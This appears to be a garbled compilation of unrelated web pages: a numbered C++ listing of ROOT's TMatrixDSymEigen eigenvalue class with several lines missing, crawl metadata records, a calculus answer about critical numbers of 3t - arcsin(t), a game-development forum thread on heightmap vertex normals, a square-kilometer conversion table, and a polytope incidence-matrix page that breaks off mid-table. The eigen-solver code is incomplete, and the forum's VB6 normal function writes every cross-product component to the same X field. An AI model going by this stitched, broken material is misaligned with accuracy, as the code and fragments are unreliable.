15 TMatrixDSymEigen
16
17 Eigenvalues and eigenvectors of a real symmetric matrix.
18
19 If A is symmetric, then A = V*D*V' where the eigenvalue matrix D is
20 diagonal and the eigenvector matrix V is orthogonal. That is, the
21 diagonal values of D are the eigenvalues, and V*V' = I, where I is
22 the identity matrix. The columns of V represent the eigenvectors in
23 the sense that A*V = V*D.
24*/
25
26#include "TMatrixDSymEigen.h"
27#include "TMath.h"
28
30
31////////////////////////////////////////////////////////////////////////////////
32/// Constructor for eigen-problem of symmetric matrix A .
33
35{
36 R__ASSERT(a.IsValid());
37
38 const Int_t nRows = a.GetNrows();
39 const Int_t rowLwb = a.GetRowLwb();
40
41 fEigenValues.ResizeTo(rowLwb,rowLwb+nRows-1);
43
45
46 TVectorD offDiag;
47 Double_t work[kWorkMax];
48 if (nRows > kWorkMax) offDiag.ResizeTo(nRows);
49 else offDiag.Use(nRows,work);
50
51 // Tridiagonalize matrix
53
54 // Make eigenvectors and -values
56}
57
58////////////////////////////////////////////////////////////////////////////////
59/// Copy constructor
60
62{
63 *this = another;
64}
65
66////////////////////////////////////////////////////////////////////////////////
67/// This is derived from the Algol procedures tred2 by Bowdler, Martin, Reinsch, and
68/// Wilkinson, Handbook for Auto. Comp., Vol.ii-Linear Algebra, and the corresponding
69/// Fortran subroutine in EISPACK.
70
72{
73 Double_t *pV = v.GetMatrixArray();
74 Double_t *pD = d.GetMatrixArray();
75 Double_t *pE = e.GetMatrixArray();
76
77 const Int_t n = v.GetNrows();
78
79 Int_t i,j,k;
80 Int_t off_n1 = (n-1)*n;
81 for (j = 0; j < n; j++)
82 pD[j] = pV[off_n1+j];
83
84 // Householder reduction to tridiagonal form.
85
86 for (i = n-1; i > 0; i--) {
87 const Int_t off_i1 = (i-1)*n;
88 const Int_t off_i = i*n;
89
90 // Scale to avoid under/overflow.
91
92 Double_t scale = 0.0;
93 Double_t h = 0.0;
94 for (k = 0; k < i; k++)
95 scale = scale+TMath::Abs(pD[k]);
96 if (scale == 0.0) {
97 pE[i] = pD[i-1];
98 for (j = 0; j < i; j++) {
99 const Int_t off_j = j*n;
100 pD[j] = pV[off_i1+j];
101 pV[off_i+j] = 0.0;
102 pV[off_j+i] = 0.0;
103 }
104 } else {
105
106 // Generate Householder vector.
107
108 for (k = 0; k < i; k++) {
109 pD[k] /= scale;
110 h += pD[k]*pD[k];
111 }
112 Double_t f = pD[i-1];
114 if (f > 0)
115 g = -g;
116 pE[i] = scale*g;
117 h = h-f*g;
118 pD[i-1] = f-g;
119 for (j = 0; j < i; j++)
120 pE[j] = 0.0;
121
122 // Apply similarity transformation to remaining columns.
123
124 for (j = 0; j < i; j++) {
125 const Int_t off_j = j*n;
126 f = pD[j];
127 pV[off_j+i] = f;
128 g = pE[j]+pV[off_j+j]*f;
129 for (k = j+1; k <= i-1; k++) {
130 const Int_t off_k = k*n;
131 g += pV[off_k+j]*pD[k];
132 pE[k] += pV[off_k+j]*f;
133 }
134 pE[j] = g;
135 }
136 f = 0.0;
137 for (j = 0; j < i; j++) {
138 pE[j] /= h;
139 f += pE[j]*pD[j];
140 }
141 Double_t hh = f/(h+h);
142 for (j = 0; j < i; j++)
143 pE[j] -= hh*pD[j];
144 for (j = 0; j < i; j++) {
145 f = pD[j];
146 g = pE[j];
147 for (k = j; k <= i-1; k++) {
148 const Int_t off_k = k*n;
149 pV[off_k+j] -= (f*pE[k]+g*pD[k]);
150 }
151 pD[j] = pV[off_i1+j];
152 pV[off_i+j] = 0.0;
153 }
154 }
155 pD[i] = h;
156 }
157
158 // Accumulate transformations.
159
160 for (i = 0; i < n-1; i++) {
161 const Int_t off_i = i*n;
162 pV[off_n1+i] = pV[off_i+i];
163 pV[off_i+i] = 1.0;
164 Double_t h = pD[i+1];
165 if (h != 0.0) {
166 for (k = 0; k <= i; k++) {
167 const Int_t off_k = k*n;
168 pD[k] = pV[off_k+i+1]/h;
169 }
170 for (j = 0; j <= i; j++) {
171 Double_t g = 0.0;
172 for (k = 0; k <= i; k++) {
173 const Int_t off_k = k*n;
174 g += pV[off_k+i+1]*pV[off_k+j];
175 }
176 for (k = 0; k <= i; k++) {
177 const Int_t off_k = k*n;
178 pV[off_k+j] -= g*pD[k];
179 }
180 }
181 }
182 for (k = 0; k <= i; k++) {
183 const Int_t off_k = k*n;
184 pV[off_k+i+1] = 0.0;
185 }
186 }
187 for (j = 0; j < n; j++) {
188 pD[j] = pV[off_n1+j];
189 pV[off_n1+j] = 0.0;
190 }
191 pV[off_n1+n-1] = 1.0;
192 pE[0] = 0.0;
193}
194
195////////////////////////////////////////////////////////////////////////////////
196/// Symmetric tridiagonal QL algorithm.
197/// This is derived from the Algol procedures tql2, by Bowdler, Martin, Reinsch, and
198/// Wilkinson, Handbook for Auto. Comp., Vol.ii-Linear Algebra, and the corresponding
199/// Fortran subroutine in EISPACK.
200
202{
203 Double_t *pV = v.GetMatrixArray();
204 Double_t *pD = d.GetMatrixArray();
205 Double_t *pE = e.GetMatrixArray();
206
207 const Int_t n = v.GetNrows();
208
209 Int_t i,j,k,l;
210 for (i = 1; i < n; i++)
211 pE[i-1] = pE[i];
212 pE[n-1] = 0.0;
213
214 Double_t f = 0.0;
215 Double_t tst1 = 0.0;
216 Double_t eps = TMath::Power(2.0,-52.0);
217 for (l = 0; l < n; l++) {
218
219 // Find small subdiagonal element
220
221 tst1 = TMath::Max(tst1,TMath::Abs(pD[l])+TMath::Abs(pE[l]));
222 Int_t m = l;
223
224 // Original while-loop from Java code
225 while (m < n) {
226 if (TMath::Abs(pE[m]) <= eps*tst1) {
227 break;
228 }
229 m++;
230 }
231
232 // If m == l, pD[l] is an eigenvalue,
233 // otherwise, iterate.
234
235 if (m > l) {
236 Int_t iter = 0;
237 do {
238 if (iter++ == 30) { // (check iteration count here.)
239 Error("MakeEigenVectors","too many iterations");
240 break;
241 }
242
243 // Compute implicit shift
244
245 Double_t g = pD[l];
246 Double_t p = (pD[l+1]-g)/(2.0*pE[l]);
247 Double_t r = TMath::Hypot(p,1.0);
248 if (p < 0)
249 r = -r;
250 pD[l] = pE[l]/(p+r);
251 pD[l+1] = pE[l]*(p+r);
252 Double_t dl1 = pD[l+1];
253 Double_t h = g-pD[l];
254 for (i = l+2; i < n; i++)
255 pD[i] -= h;
256 f = f+h;
257
258 // Implicit QL transformation.
259
260 p = pD[m];
261 Double_t c = 1.0;
262 Double_t c2 = c;
263 Double_t c3 = c;
264 Double_t el1 = pE[l+1];
265 Double_t s = 0.0;
266 Double_t s2 = 0.0;
267 for (i = m-1; i >= l; i--) {
268 c3 = c2;
269 c2 = c;
270 s2 = s;
271 g = c*pE[i];
272 h = c*p;
273 r = TMath::Hypot(p,pE[i]);
274 pE[i+1] = s*r;
275 s = pE[i]/r;
276 c = p/r;
277 p = c*pD[i]-s*g;
278 pD[i+1] = h+s*(c*g+s*pD[i]);
279
280 // Accumulate transformation.
281
282 for (k = 0; k < n; k++) {
283 const Int_t off_k = k*n;
284 h = pV[off_k+i+1];
285 pV[off_k+i+1] = s*pV[off_k+i]+c*h;
286 pV[off_k+i] = c*pV[off_k+i]-s*h;
287 }
288 }
289 p = -s*s2*c3*el1*pE[l]/dl1;
290 pE[l] = s*p;
291 pD[l] = c*p;
292
293 // Check for convergence.
294
295 } while (TMath::Abs(pE[l]) > eps*tst1);
296 }
297 pD[l] = pD[l]+f;
298 pE[l] = 0.0;
299 }
300
301 // Sort eigenvalues and corresponding vectors.
302
303 for (i = 0; i < n-1; i++) {
304 k = i;
305 Double_t p = pD[i];
306 for (j = i+1; j < n; j++) {
307 if (pD[j] > p) {
308 k = j;
309 p = pD[j];
310 }
311 }
312 if (k != i) {
313 pD[k] = pD[i];
314 pD[i] = p;
315 for (j = 0; j < n; j++) {
316 const Int_t off_j = j*n;
317 p = pV[off_j+i];
318 pV[off_j+i] = pV[off_j+k];
319 pV[off_j+k] = p;
320 }
321 }
322 }
323}
324
325////////////////////////////////////////////////////////////////////////////////
326/// Assignment operator
327
329{
330 if (this != &source) {
334 fEigenValues = source.fEigenValues;
335 }
336 return *this;
337}
ROOT::R::TRInterface & r
Definition Object.C:4
#define d(i)
Definition RSha256.hxx:102
#define f(i)
Definition RSha256.hxx:104
#define c(i)
Definition RSha256.hxx:101
#define g(i)
Definition RSha256.hxx:105
#define a(i)
Definition RSha256.hxx:99
#define h(i)
Definition RSha256.hxx:106
#define e(i)
Definition RSha256.hxx:103
double Double_t
Definition RtypesCore.h:59
#define ClassImp(name)
Definition Rtypes.h:364
#define R__ASSERT(e)
Definition TError.h:120
void Error(const char *location, const char *msgfmt,...)
Use this function in case an error occurred.
Definition TError.cxx:187
TMatrixDSymEigen.
static void MakeEigenVectors(TMatrixD &v, TVectorD &d, TVectorD &e)
Symmetric tridiagonal QL algorithm.
static void MakeTridiagonal(TMatrixD &v, TVectorD &d, TVectorD &e)
This is derived from the Algol procedures tred2 by Bowdler, Martin, Reinsch, and Wilkinson,...
TMatrixDSymEigen & operator=(const TMatrixDSymEigen &source)
Assignment operator.
virtual TMatrixTBase< Element > & ResizeTo(Int_t nrows, Int_t ncols, Int_t=-1)
Set size of the matrix to nrows x ncols New dynamic elements are created, the overlapping part of the...
TVectorT< Element > & ResizeTo(Int_t lwb, Int_t upb)
Resize the vector to [lwb:upb] .
Definition TVectorT.cxx:294
TVectorT< Element > & Use(Int_t lwb, Int_t upb, Element *data)
Use the array data to fill the vector lwb..upb].
Definition TVectorT.cxx:349
const Int_t n
Definition legend1.C:16
return c2
Definition legend2.C:14
return c3
Definition legend3.C:15
Short_t Max(Short_t a, Short_t b)
Definition TMathBase.h:212
Double_t Sqrt(Double_t x)
Definition TMath.h:691
LongDouble_t Power(LongDouble_t x, LongDouble_t y)
Definition TMath.h:735
Double_t Hypot(Double_t x, Double_t y)
Definition TMath.cxx:57
Short_t Abs(Short_t d)
Definition TMathBase.h:120
auto * m
Definition textangle.C:8
auto * l
Definition textangle.C:4 | 3,366 | 9,488 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.78125 | 3 | CC-MAIN-2024-38 | latest | en | 0.346352 |
https://www.enotes.com/homework-help/h-t-3t-arcsin-t-find-critical-numbers-function-536535 | 1,490,920,227,000,000,000 | text/html | crawl-data/CC-MAIN-2017-13/segments/1490218205046.28/warc/CC-MAIN-20170322213005-00413-ip-10-233-31-227.ec2.internal.warc.gz | 904,337,605 | 12,784 | `h(t) = 3t - arcsin(t)` Find the critical numbers of the function
Textbook Question
Chapter 4, 4.1 - Problem 42 - Calculus: Early Transcendentals (7th Edition, James Stewart).
See all solutions for this textbook.
sciencesolve | Teacher | (Level 3) Educator Emeritus
Posted on
You need to find the critical points of the function, hence, you need to evaluate the solutions to the equation h'(t) = 0.
You need to evaluate the first derivative:
`h'(t) = 3 - 1/(sqrt(1-t^2))`
You need to solve for theta h'(t) = 0, such that:
`3 - 1/(sqrt(1-t^2))= 0 => 3(sqrt(1-t^2)) - 1 = 0 => (sqrt(1-t^2)) = 1/3`
Squaring both sides yields:
`1-t^2 = 1/9 => t^2 = 1 - 1/9 => t^2 = 8/9 => t_(1,2) = +-(2sqrt2)/3`
Hence, evaluating the critical numbers of the function for h'(t) = 0, yields `t_(1,2) = +-(2sqrt2)/3.`
scisser | (Level 3) Honors
Posted on
`h(t) = 3t - arcsin( t ) `
Find the derivative
`h'(t) = 3 - ( 1 / sqrt( 1 - t² ) ) `
Set it equal to 0
`0 = 3 - ( 1 / sqrt( 1 - t² ) ) `
`1 / sqrt( 1 - t² ) = 3 `
`1 = 3sqrt( 1 - t² ) `
`1 / 3 = sqrt( 1 - t² ) `
`1 / 9 = 1 - t^2 `
`t^2 + ( 1 / 9 ) = 1 `
`t^2 = ( 8 / 9 ) `
`t = +-sqrt( 8 / 9 ) `
`t= +- (2sqrt(2))/3` | 495 | 1,178 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.25 | 4 | CC-MAIN-2017-13 | longest | en | 0.678258 |
https://www.gamedev.net/forums/topic/270481-calculating-vertex-normals-with-no-idexes/ | 1,537,958,694,000,000,000 | text/html | crawl-data/CC-MAIN-2018-39/segments/1537267164750.95/warc/CC-MAIN-20180926101408-20180926121808-00256.warc.gz | 739,566,805 | 29,829 | # Calculating Vertex Normals With No idexes
This topic is 5124 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.
## Recommended Posts
Hey All, I am creating a simple heightmap renderer for a sort of 3D overworld. Everything in my renderer works fine, but I can't seem to figure out a way to calculate vertex normals correctly. Basicaly my heightmap is a 2D array of points which the program itterates thrugh and pushes off to the renderer using glVertex3f. I don't need any fancy vertex-lists, or indexes, etc. as this method works fine and dandy for my needs. My only issue is when it comes to calculating the vertex normals, Is there an easy way to figure it out in this situation?
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You could always use the normal (0,1,0) until you find a better solution...
Or, if you're using triangle primitives, and you have all three vertices for the triangle, you can just calculate it using this snippet from a DirectX app (should be easily converted to OGL - it's just simple maths):
Private Function GetNormal(v0 As D3DVECTOR, v1 As D3DVECTOR, v2 As D3DVECTOR) As D3DVECTOR '//0. Any Variables Dim L As Double Dim v01 As D3DVECTOR, v02 As D3DVECTOR, vNorm As D3DVECTOR '//1. Get the vectors 0->1 and 0->2 v01.X = v1.X - v0.X v01.Y = v1.Y - v0.Y v01.Z = v1.Z - v0.Z v02.X = v2.X - v0.X v02.Y = v2.Y - v0.Y v02.Z = v2.Z - v0.Z '//2. Get the cross product vNorm.X = (v01.Y * v02.Z) - (v01.Z * v02.Y) vNorm.X = (v01.Z * v02.X) - (v01.X * v02.Z) vNorm.X = (v01.X * v02.Y) - (v01.Y * v02.X) '//3. Normalize this vector L = Sqr((vNorm.X * vNorm.X) + (vNorm.Y * vNorm.Y) + (vNorm.Z * vNorm.Z)) vNorm.X = vNorm.X / L vNorm.Y = vNorm.Y / L vNorm.Z = vNorm.Z / L '//4. Return the value: GetNormal = vNormEnd Function
Though you'll have to translate it into whatever language you're using, as it's in VB6 right now. But that's generally how its done.
EDIT: this will create vectors correctly when the vertices are listed in clock-wise order. If they are listed ccw, then the resultant normal will be inversed. You can un-inverse it by multiplying each of the values by -1.
Mushu - trying to help those he doesn't know, with things he doesn't know.
Why won't he just go away? An question the universe may never have an answer to...
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Hey Mushu,
The code example you gave, while good, illustrates how to find a Face normal of a given triangle. That is, you give the function your triangles 3 points and out pops the face normal. I need to obtain the vertex normal in order to achive a smooth lighting effect.
Does anyoen have any ideas on this?
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Well, is it possible to use the position of the neighboring 4 vertices to find a plane, then use the tangent to that plane?
I have no idea how to implement that, but you'll probably end up doing something along those lines, more or less.
Or you can just calculate all the face normals, then average the 4/8 per vertex to find the vertex normal. That's all the ideas I have left. Good luck!
Mushu - trying to help those he doesn't know, with things he doesn't know.
Why won't he just go away? An question the universe may never have an answer to...
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So the way I learned how to do this is through implementing subdivision surfaces. They're a bit complicated, but pretty neat. Anywho, you can find a doc that has the normal generation (among other things) http://www.mrl.nyu.edu/~dzorin/sig00course/ in the coursenotes00.pdf, specifically on page 71-72. Essentially, the idea is that you loop around a vertex, and preform this weighted sum of each of the vertices to calculate two tangent vectors. The smoothed normal is then the cross product of the two. More specifically:
assume connected_vertices is a std::vector of all the vertices around the vertex you're calculating the normal for. These must be in order. It should be something like this (i dont think the winding direction matters though):
3__2__1 |\ | /| | \|/ | 4--a--0 | /|\ | |/_|_\| 5 6 7
t1, t2 are the tangent vectors, and are initially set to zero.
for (int i = 0; i < connected_vertices.size () - 1; ++i) { t1 += connected_vertices.at (i) * cos (2 * PI * i / connected_vertices.size ()); t2 += connected_vertices.at (i) * sin (2 * PI * i / connected_vertices.size ());}normal = cross (t1, t2);
To calculate at a boundary, its a little complicated. Here you once again generate the two tangent vectors, and take the cross product. This time we'll call them t_along (along the boundary), and t_across. Say we've got a 10x10 heightmap, and we're trying to calculate the normal at (0,5), where the boundary is along x=0:
1--a--0
t_along = connected_vertices(1) - connected_vertices(0);
For the t_across, there are three separate cases: if the current vertex only has two connections (eg: in a line):
1--a--0
t_across = vertex(0) + vertex(1) - 2*vertex(a);
for three, we are trying to calculate at vertex 1 in this case:
1 /|\ / | \ 2--a--0
t_across = vertex(1) - vertex(a);
for all the other cases:
3__2__1 |\ | /| | \|/ | 4--a--0
theta = PI / (connected_vertices.size () - 1);for (int i = 1; i < connected_vertices.size () - 1; ++i) { t_across += connected_vertices.at (i) * sin (i * theta);}t_across *= 2 cos (theta) - 2;t_across += sin (theta) * (connected_vertices.front () + connected_vertices.back ());
Then the normal is just cross (t_along, t_across). Its a bit complicated, you just have to make sure that you're using the right vertices.
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Since you are using heightmap, "Finite Difference" is the best method to calculate by far. It's faster and simpler than anything else. Use google to finde some implementations. And I belive nVidia's normalmapper has source for this.
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yeah, but my way's funner
:p
but in all actuality, mine might just be a complicated way to do finite difference on complicated meshes, and heightmaps are much simpler. I'm not sure however which one generates better normals. One thing mine will do is generate along the edge, where finite difference I don't think will work there. You could combine the two for that case though.
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Quote:
Original post by idadesubyeah, but my way's funner
Nice one :)
Quote:
Original post by idadesubOne thing mine will do is generate along the edge, where finite difference I don't think will work there.
Finite difference will work on edges if you take that in account while writing it. You can select to clamp, clamp to border or to repeat the heightmap, depending on what you need.
But the downside is that it only works on hightmaps, not on general meshes.
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× | 1,900 | 7,080 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.140625 | 3 | CC-MAIN-2018-39 | latest | en | 0.810221 |
https://citizenmaths.com/area/km2-converter | 1,679,306,729,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296943471.24/warc/CC-MAIN-20230320083513-20230320113513-00778.warc.gz | 217,530,096 | 13,441 | # Square Kilometer Conversion Calculators
From
Square Kilometer
• Acre
• Are
• Barony
• Centiare
• Circular mil
• Decare
• Dunam
• Hectare
• Hide
• Milacre
• Perch
• Quarter-milacre
• Rood
• Roofing Square
• Section
• Square Arpent
• Square Centimeter
• Square Chain
• Square Decameter
• Square Decimeter
• Square Feet
• Square Hectometer
• Square Inch
• Square Kilometer
• Square Meter
• Square Mil
• Square Mile
• Square Millimeter
• Square rod
• Square Yard
• Stremma
• Thousand Circular Mil
• Township (Survey)
• Yardland (US Survey)
To
Milacre
• Acre
• Are
• Barony
• Centiare
• Circular mil
• Decare
• Dunam
• Hectare
• Hide
• Milacre
• Perch
• Quarter-milacre
• Rood
• Roofing Square
• Section
• Square Arpent
• Square Centimeter
• Square Chain
• Square Decameter
• Square Decimeter
• Square Feet
• Square Hectometer
• Square Inch
• Square Kilometer
• Square Meter
• Square Mil
• Square Mile
• Square Millimeter
• Square rod
• Square Yard
• Stremma
• Thousand Circular Mil
• Township (Survey)
• Yardland (US Survey)
Formula 52,259 km² = 52259 x 247105.3814671653 milacre = 1.3e+10 milacre
## Square Kilometer Conversion Charts
This chart provides a summary of Square Kilometer conversions to different Area units.
Units 1 5
Thousand Circular Mil 1 km² = 2.0e+12 kcmil 5 km² = 9.9e+12 kcmil
Yardland (US Survey) 1 km² = 8.2368 yardland 5 km² = 41.184 yardland
Township (Survey) 1 km² = 0.01073 twp 5 km² = 0.05363 twp
Stremma 1 km² = 1,000 stremma 5 km² = 5,000 stremma
Square Mil 1 km² = 1.6e+15 mil2 5 km² = 7.8e+15 mil2
Square Link 1 km² = 24,710,538.15 lnk2 5 km² = 1.2e+08 lnk2
Square Chain 1 km² = 2,471.05 ch2 5 km² = 12,355.27 ch2
Section 1 km² = 0.3861 section 5 km² = 1.9305 section
Roofing Square 1 km² = 107,639.1 roofingsquare 5 km² = 538,195.52 roofingsquare
Rood 1 km² = 988.42 ro 5 km² = 4,942.11 ro
Quarter-milacre 1 km² = 988,421.53 1/4milacre 5 km² = 4,942,107.63 1/4milacre
Square rod 1 km² = 39,536.86 rd2 5 km² = 197,684.31 rd2
Perch 1 km² = 29,249.23 perch 5 km² = 146,246.13 perch
Milacre 1 km² = 247,105.38 milacre 5 km² = 1,235,526.91 milacre
Hide 1 km² = 2.4711 hide 5 km² = 12.355 hide
Dunam 1 km² = 1,000 dunam 5 km² = 5,000 dunam
Decare 1 km² = 1,000 daa 5 km² = 5,000 daa
Circular mil 1 km² = 2.0e+15 cmil 5 km² = 9.9e+15 cmil
Centiare 1 km² = 1,000,000 ca 5 km² = 5,000,000 ca
Barony 1 km² = 0.06178 ba 5 km² = 0.30888 ba
Square Arpent 1 km² = 292.51 arpent 5 km² = 1,462.53 arpent
Are 1 km² = 10,000 a 5 km² = 50,000 a
Square Decimeter 1 km² = 100,000,000.0 dm² 5 km² = 5.0e+08 dm²
Square Yard 1 km² = 1,195,990.05 yd² 5 km² = 5,979,950.23 yd²
Square Mile 1 km² = 0.3861 mi² 5 km² = 1.9305 mi²
Square Inch 1 km² = 1.6e+09 in² 5 km² = 7.8e+09 in²
Square Hectometer 1 km² = 100 hm² 5 km² = 500 hm²
Square Feet 1 km² = 10,763,910.42 ft2 5 km² = 53,819,552.08 ft2
Square Decameter 1 km² = 10,000 dam2 5 km² = 50,000 dam2
Hectare 1 km² = 100 ha 5 km² = 500 ha
Acre 1 km² = 247.11 ac 5 km² = 1,235.53 ac
Square Millimeter 1 km² = 1.0e+12 mm² 5 km² = 5.0e+12 mm²
Square Centimeter 1 km² = 1.0e+10 cm² 5 km² = 5.0e+10 cm²
Square Meter 1 km² = 1,000,000 m² 5 km² = 5,000,000 m² | 1,366 | 3,111 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.34375 | 3 | CC-MAIN-2023-14 | longest | en | 0.455653 |
http://www.jiskha.com/display.cgi?id=1322864354 | 1,498,319,764,000,000,000 | text/html | crawl-data/CC-MAIN-2017-26/segments/1498128320264.42/warc/CC-MAIN-20170624152159-20170624172159-00262.warc.gz | 556,515,821 | 3,612 | # algebra
posted by .
write the equation in standard form
y=9x+1/2
• algebra -
-9x + y = 1/2
so
-18 x + 2 y = 1 | 49 | 116 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2017-26 | latest | en | 0.767416 |
https://www.bendwavy.org/klitzing/incmats/tope.htm | 1,627,192,591,000,000,000 | text/html | crawl-data/CC-MAIN-2021-31/segments/1627046151638.93/warc/CC-MAIN-20210725045638-20210725075638-00096.warc.gz | 688,069,099 | 3,722 | Acronym tope, K-4.89 Name truncated-octahedron prism Segmentochoron display Cross sections ` ©` Circumradius sqrt(11)/2 = 1.658312 Coordinates (sqrt(2), 1/sqrt(2), 0, 1/2) & all permutations in all but last coord., all changes of sign Dihedral angles at {4} between cube and hip: arccos(-1/sqrt(3)) = 125.264390° at {4} between hip and hip: arccos(-1/3) = 109.471221° at {4} between cube and toe: 90° at {6} between hip and toe: 90° Confer general polytopal classes: segmentochora lace simplices Externallinks
Incidence matrix according to Dynkin symbol
```x x3x4o
. . . . | 48 | 1 1 2 | 1 2 2 1 | 2 1 1
--------+----+----------+-------------+------
x . . . | 2 | 24 * * | 1 2 0 0 | 2 1 0
. x . . | 2 | * 24 * | 1 0 2 0 | 2 0 1
. . x . | 2 | * * 48 | 0 1 1 1 | 1 1 1
--------+----+----------+-------------+------
x x . . | 4 | 2 2 0 | 12 * * * | 2 0 0
x . x . | 4 | 2 0 2 | * 24 * * | 1 1 0
. x3x . | 6 | 0 3 3 | * * 16 * | 1 0 1
. . x4o | 4 | 0 0 4 | * * * 12 | 0 1 1
--------+----+----------+-------------+------
x x3x . ♦ 12 | 6 6 6 | 3 3 2 0 | 8 * *
x . x4o ♦ 8 | 4 0 8 | 0 4 0 2 | * 6 *
. x3x4o ♦ 24 | 0 12 24 | 0 0 8 6 | * * 2
snubbed forms: x2s3s4o, s2s3s4o
```
```x x3x4/3o
. . . . | 48 | 1 1 2 | 1 2 2 1 | 2 1 1
----------+----+----------+-------------+------
x . . . | 2 | 24 * * | 1 2 0 0 | 2 1 0
. x . . | 2 | * 24 * | 1 0 2 0 | 2 0 1
. . x . | 2 | * * 48 | 0 1 1 1 | 1 1 1
----------+----+----------+-------------+------
x x . . | 4 | 2 2 0 | 12 * * * | 2 0 0
x . x . | 4 | 2 0 2 | * 24 * * | 1 1 0
. x3x . | 6 | 0 3 3 | * * 16 * | 1 0 1
. . x4/3o | 4 | 0 0 4 | * * * 12 | 0 1 1
----------+----+----------+-------------+------
x x3x . ♦ 12 | 6 6 6 | 3 3 2 0 | 8 * *
x . x4/3o ♦ 8 | 4 0 8 | 0 4 0 2 | * 6 *
. x3x4/3o ♦ 24 | 0 12 24 | 0 0 8 6 | * * 2
```
```x x3x3x
. . . . | 48 | 1 1 1 1 | 1 1 1 1 1 1 | 1 1 1 1
--------+----+-------------+-----------------+--------
x . . . | 2 | 24 * * * | 1 1 1 0 0 0 | 1 1 1 0
. x . . | 2 | * 24 * * | 1 0 0 1 1 0 | 1 1 0 1
. . x . | 2 | * * 24 * | 0 1 0 1 0 1 | 1 0 1 1
. . . x | 2 | * * * 24 | 0 0 1 0 1 1 | 0 1 1 1
--------+----+-------------+-----------------+--------
x x . . | 4 | 2 2 0 0 | 12 * * * * * | 1 1 0 0
x . x . | 4 | 2 0 2 0 | * 12 * * * * | 1 0 1 0
x . . x | 4 | 2 0 0 2 | * * 12 * * * | 0 1 1 0
. x3x . | 6 | 0 3 3 0 | * * * 8 * * | 1 0 0 1
. x . x | 4 | 0 2 0 2 | * * * * 12 * | 0 1 0 1
. . x3x | 6 | 0 0 3 3 | * * * * * 8 | 0 0 1 1
--------+----+-------------+-----------------+--------
x x3x . ♦ 12 | 6 6 6 0 | 3 3 0 2 0 0 | 4 * * *
x x . x ♦ 8 | 4 4 0 4 | 2 0 2 0 2 0 | * 6 * *
x . x3x ♦ 12 | 6 0 6 6 | 0 3 3 0 0 2 | * * 4 *
. x3x3x ♦ 24 | 0 12 12 12 | 0 0 0 4 6 4 | * * * 2
snubbed forms: x2s3s3s, s2s3s3s
```
```s2x3x4s
demi( . . . . ) | 48 | 1 1 1 1 | 1 1 1 2 1 | 1 1 2
----------------+----+-------------+--------------+------
demi( . x . . ) | 2 | 24 * * * | 1 1 0 0 1 | 0 1 2 x
demi( . . x . ) | 2 | * 24 * * | 1 0 1 1 0 | 1 1 1 x
s 2 . s | 2 | * * 24 * | 0 1 0 2 0 | 1 0 2 q
sefa( . . x4s ) | 2 | * * * 24 | 0 0 1 1 1 | 1 1 1 w
----------------+----+-------------+--------------+------
demi( . x3x . ) | 6 | 3 3 0 0 | 8 * * * * | 0 1 1 x3x
s2x 2 s | 4 | 2 0 2 0 | * 12 * * * | 0 0 2 x2q
. . x4s | 4 | 0 2 0 2 | * * 12 * * | 1 1 0 x2w
sefa( s 2 x4s ) | 4 | 0 1 2 1 | * * * 24 * | 1 0 1 xw&#q
sefa( . x3x4s ) | 6 | 3 0 0 3 | * * * * 8 | 0 1 1 x3w
----------------+----+-------------+--------------+------
s 2 x4s | 8 | 0 4 4 4 | 0 0 2 4 0 | 6 * * xw wx&#q rectangular trapezobiprisms
. x3x4s | 24 | 12 12 0 12 | 4 0 6 0 4 | * 2 * x3x3w toe variant
sefa( s2x3x4s ) | 12 | 6 3 6 3 | 1 3 0 3 1 | * * 8 xx3xw hexagonal podia (hip variant)
starting figure: x x3x4x
(mentioned just isogonal sizing represents mere alternation, i.e. without further rescaling back to uniformity)
```
```xx3xx4oo&#x → height = 1
(toe || toe)
o.3o.4o. | 24 * | 1 2 1 0 0 | 2 1 1 2 0 0 | 1 2 1 0
.o3.o4.o | * 24 | 0 0 1 1 2 | 0 0 1 2 2 1 | 0 2 1 1
------------+-------+----------------+---------------+--------
x. .. .. | 2 0 | 12 * * * * | 2 0 1 0 0 0 | 1 2 0 0
